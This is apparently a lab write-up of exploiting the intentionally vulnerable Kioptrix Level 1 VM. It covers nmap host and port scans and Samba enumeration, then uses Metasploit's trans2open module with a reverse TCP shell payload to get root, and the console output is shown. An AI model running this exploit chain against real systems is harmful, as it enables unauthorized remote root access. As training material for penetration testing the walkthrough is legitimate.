FIrst thing we have to know the target ip, so I performed ping sweep

```
┌──(root💀 kali)-[~/kioptrix]
└─# nmap -sn 192.168.6.0/24                                                    1 ×
Starting Nmap 7.92 ( https://nmap.org          22-02-20 16:46 EET
Nmap scan report for 192.168.6.2
Host is up (0.00026s latency).
MAC Address: 00:50:56:E9:FD:8E (VMware
Nmap scan report for 192.168.6.159
Host is up (0.00088s latency).
MAC Address: 00:0C:29:23:FD:43 (VMware)
Nmap scan report for 192.168.6.254
Host is up (0.00066s latency).
MAC Address: 00:50:56:E7:BA:82 (VMware)
Nmap scan report for 192.168.6.155
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 28.04 seconds
```

Our target is 192.168.6.159

Then we have to know the open ports and the version of the service running on each port

```
┌──(root💀 kali)-[~/kioptrix]
└─# nmap -sS -sV 192.168.6.159 -p 1-65535  -O -oN scanning_OS
Starting Nmap 7.92 ( https://nmap.org          22-02-20 16:48 EET
Nmap scan report for 192.168.6.159
Host is up (0.0013s latency).
Not shown: 65529 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 2.9p2 (protocol 1.99)
80/tcp  open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp open  rpcbind     2 (RPC #100000)
139/tcp open  netbios-ssn Samba smbd (workgroup: UMYGROUP)
443/tcp open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp open  status     1 (RPC #100024)
MAC Address: 00:0C:29:23:FD:43 (VMware)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 35.68 seconds
```

Next I tried to get the samba version using enum4linux and many other tools but I couldn't

```
=========================================
|   OS information on 192.168.6.159   |
=========================================
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 192.168.6.159 from smbclient:
[+] Got OS info for 192.168.6.159 from srvinfo:
    KIOPTRIX       Wk Sv PrQ Unx NT SNT Samba Server
    platform_id    :    500
    os version     :    4.5
    server type    :    0x9a03
```

So I opened metasploit framework and searched for samba and I got some interesting results

```
16 auxiliary/dos/samba/lsa_transnames_heap                  normal   No   Samba lsa_io_trans_names Heap Overflow
17 exploit/linux/samba/lsa_transnames_heap        2007-05-14  good    Yes  Samba lsa_io_trans_names Heap Overflow
18 exploit/osx/samba/lsa_transnames_heap          2007-05-14  average No   Samba lsa_io_trans_names Heap Overflow
19 exploit/solaris/samba/lsa_transnames_heap      2007-05-14  average No   Samba lsa_io_trans_names Heap Overflow
20 auxiliary/dos/samba/read_nttrans_ea_list                 normal   No   Samba read_nttrans_ea_list Integer Overflow
21 exploit/freebsd/samba/trans2open               2003-04-07  great   No   Samba trans2open Overflow (*BSD x86)
22 exploit/linux/samba/trans2open                 2003-04-07  great   No   Samba trans2open Overflow (Linux x86)
23 exploit/osx/samba/trans2open                   2003-04-07  great   No   Samba trans2open Overflow (Mac OS X PPC)
24 exploit/solaris/samba/trans2open               2003-04-07  great   No   Samba trans2open Overflow (Solaris SPARC)
25 exploit/windows/http/sambar6_search_results    2003-06-21  normal  Yes  Sambar 6 Search Results Buffer Overflow
```

Number 22 seems what we want, so I tried it
I typed show payloads to show which payloads we could use
I chose number 3 to create a tcp reverse shell

```
#  Name                                              Disclosure Date  Rank    Check  Description
-  ----                                              ---------------  ----    -----  -----------
0  payload/generic/custom                                             normal  No     Custom Payload
1  payload/generic/debug_trap                                         normal  No     Generic x86 Debug Trap
2  payload/generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
3  payload/generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
4  payload/generic/tight_loop                                         normal  No     Generic x86 Tight Loop
5  payload/linux/x86/adduser                                          normal  No     Linux Add User
6  payload/linux/x86/chmod                                            normal  No     Linux Chmod
7  payload/linux/x86/exec                                             normal  No     Linux Execute Command
8  payload/linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
9  payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
10 payload/linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
11 payload/linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
12 payload/linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
13 payload/linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
14 payload/linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
15 payload/linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
17 payload/linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
```

And set rhosts and then enter exploit

```
msf6 exploit(linux/samba/trans2open) > exploit

[*] Started reverse TCP handler on 192.168.6.155:4444
[*] 192.168.6.159:139 - Trying return address 0xbffffdfc...
[*] 192.168.6.159:139 - Trying return address 0xbffffcfc...
[*] 192.168.6.159:139 - Trying return address 0xbffffbfc...
[*] 192.168.6.159:139 - Trying return address 0xbffffafc...
[*] 192.168.6.159:139 - Trying return address 0xbffff9fc...
[*] 192.168.6.159:139 - Trying return address 0xbffff8fc...
[*] 192.168.6.159:139 - Trying return address 0xbffff7fc...
[*] 192.168.6.159:139 - Trying return address 0xbffff6fc...
[*] Command shell session 5 opened (192.168.6.155:4444 -> 192.168.6.159:1037 ) at 2022-02-22 12:16:59 +0200

[*] Command shell session 6 opened (192.168.6.155:4444 -> 192.168.6.159:1038 ) at 2022-02-22 12:17:00 +0200
[*] Command shell session 7 opened (192.168.6.155:4444 -> 192.168.6.159:1039 ) at 2022-02-22 12:17:01 +0200
[*] Command shell session 8 opened (192.168.6.155:4444 -> 192.168.6.159:1040 ) at 2022-02-22 12:17:02 +0200

whoami
root

hostname
kioptrix.level1
```

After a few tries I exploited the machine and gained root access.